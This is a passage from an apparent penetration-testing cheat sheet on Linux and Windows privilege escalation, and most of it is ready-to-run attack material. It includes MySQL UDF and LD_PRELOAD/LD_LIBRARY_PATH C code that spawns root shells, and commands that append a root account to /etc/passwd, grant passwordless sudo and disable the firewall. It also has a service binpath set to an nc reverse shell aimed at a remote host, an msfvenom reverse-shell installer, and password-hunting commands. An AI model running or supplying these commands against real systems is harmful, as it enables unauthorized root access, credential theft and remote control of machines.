select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
exit
user@target$ /tmp/rootbash -p
MYSQL running as root :
mysql -u root
select sys_exec('whoami');
select sys_eval('whoami');
/* If function doesnt exist, create the function */
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
if NULL returns, try redirecting the errors 9 select sys_eval('ls /root 2>&1');
Sudo Abuse
$ sudo -l
[sudo] password for appadmin:
User appadmin may run the following commands on this host:
(root) /opt/Support/start.sh
Checklist:
Write permission to start.sh
write permission to the /opt/support
Create start.sh if doesn't exist
Environment Variables
(https://tryhackme.com/room/linuxprivesc)
Check which environment variables are inherited (look for the env_keep options):
sudo -l
LD_PRELOAD LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library.
/* Preload.c */
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:
sudo LD_PRELOAD=/tmp/preload.so program-name-here
LD_LIBRARY_PATH
LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Run ldd against the any program that you can execute as sudo (sudo -l) to see which shared libraries are used by the program:
ldd /usr/sbin/apache2
Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
/* Library_path.c */
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0); 10 system("/bin/bash -p");
}
gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
Run program using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):
sudo LD_LIBRARY_PATH=/tmp program-name-here
Escalation Methods
echo root:gl0b0 | /usr/sbin/chpasswd
// exploit : exploit (pwd)
echo "exploit:YZE7YPhZJyUks:0:0:root:/root:/bin/bash" >> /etc/passwd | su -
nano /etc/passwd -> change GID to root
nano /etc/sudoers -> user ALL=(ALL) NOPASSWD:ALL
cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash;
/tmp/rootbash -p
Windows Privilege Escalation
Enumeration
OS Info Enumeration
systeminfo
hostname
echo %username%
wmic qfe -> check patches
wmic logicaldisk -> get other disk information
User Enumeration
whoami
whoami /priv -> check user privilleges
whoami /groups -> check user groups
net user -> list all users
net user <username> -> check groups associated with a user
net localgroup -> Check all the local groups available
net localgroup <group name> -> List the members of the given localgroup
Task | Service | Process Enumeration
sc queryex type= service (Lists all the service)
tasklist /SVC tasklist
net start
DRIVERQUERY
wmic product get name, version, vendor
Permission Enumeration
C:\Program Files :
icacls program_name icacls root.txt /grant <username>:F (to grant permission to access file)
Check the PowerShell history file
type
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadlin
e\ConsoleHost_history.txt
Check stored usernames and passwords
cmdkey /list
Network based
ipconfig
ipconfig /all
arp -a
router print
netstat -ano
Password Hunting
findstr /si password *.txt *.ini *.config (try searching in differe
dir /s *pass* == *cred* == *vnc* == *.config*
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc*
where /R C:\ user.txt
where /R C:\ *.ini
Swisskyrepo for manual pwd enumeration
AV / Firewall check / Service Enumeration
sc query windefend 1 netsh advfirewall firewall dump
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all 4
netsh firewall show state (show firewall running or stopped)
netsh firewall show config (show firewall configuration)
netsh firewall set opmode disable # Disable firewall
Scheduled Tasks
schtasks /query /fo LIST /v
Mount Information
mountvol
Escalation Techniques:
Service Account Priv Esc (Token Impersonation)
whoami /priv
Run As :
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Using runas with a provided set of credential.
runas /savecred /user:admin C:\PrivEsc\reverse.exe
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c
Access check :
accesschk.exe -ucqv [service_name] /accepteula
accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
Find all weak folder permissions per drive.
accesschk.exe /accepteula -uwdqs Users c:\
accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\
Find all weak file permissions per drive.
accesschk.exe /accepteula -uwsv "Everyone" "C:\Program Files"
accesschk.exe /accepteula -uwqs Users c:\*.*
accesschk.exe /accepteula -uwqs "Authenticated Users" c:\*.*
Powershell :
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -m
Binary planting (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services)
sc qc [service_name] // for service properties
sc query [service_name] // for service status
sc config [service_name] binpath= "C:\Temp\nc.exe -nv [RHOST] [RPORT] - e C:\WINDOWS\System32\cmd.exe"
sc config [service_name] obj= ".\LocalSystem" password= ""
net start [service_name]
Unquoted Service Path Privilege Escalation
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
wmic service get name,displayname,pathname,startmode |findstr /i "Auto"
Always Install Elevated :
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer 1 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 –f msi > i
C:> msiexec /quiet /qn /i install.msi
Kernel Exploits :
https://github.com/abatchy17/WindowsExploits
https://github.com/SecWiki/windows-kernel-exploits
run systeminfo | capture the output and run windows-exploit-suggester.py
Compiling Kernel Exploits :
i686-w64-mingw32-gcc exploit.c -o exploit
or for 32 bit
i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32
Automated Enumeration Tools
Powershell:
powershell -ep bypass
load powershell (only in meterpreter)
Sherlock (https://github.com/rasta-mouse/Sherlock)
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc (PowerUp)
EXE : (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#exe)
WinPeas [ https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/winPEAS ]
Accesschk.exe [https://github.com/jivoi/pentest/blob/master/post_win/accesschk_exe]
PowerUp (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
Seatbelt (https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)
Other : Windows Exploit Suggester (https://github.com/AonCyberLabs/Windows-Exploit- Suggester)
Metasploit :
getsystem
run post/multi/recon/local_ exploit_ suggester
Resources :
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%2 0and%20Resources/Windows%20-%20Privilege%20Escalation.md https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
http://www.fuzzysecurity.com/tutorials/16.html
https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation (Win PrivEsc Checlist)
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
Enumeration Tools :
https://github.com/Tib3rius/AutoRecon
https://bitbucket.org/xaeroborg/python3-programs/src
https://github.com/21y4d/nmapAutomator Linux Privilege escalation Tools :
Linux Exploit Suggester (https://github.com/mzet-/linux-exploit-suggester)
SUIDENUM (https://github.com/Anon-Exploiter/SUID3NUM)
LinEnum.sh (https://github.com/rebootuser/LinEnum)
linpeas.sh (https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/linPEAS)
Linprivchecker (https://github.com/sleventyeleven/linuxprivchecker)
pspy (https://github.com/DominicBreuker/pspy) (crontabs)
Windows Privilege Escalation Tools
Powershell:
powershell -ep bypass
load powershell (only in meterpreter)
Sherlock (https://github.com/rasta-mouse/Sherlock)
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc (PowerUp)
EXE : (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#exe)
WinPeas [ https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/winPEAS ]
Accesschk.exe [https://github.com/jivoi/pentest/blob/master/post_win/accesschk_exe]
PowerUp (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
Seatbelt (https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)
Others:
Windows Exploit Suggester (https://github.com/AonCyberLabs/Windows-Exploit- Suggester)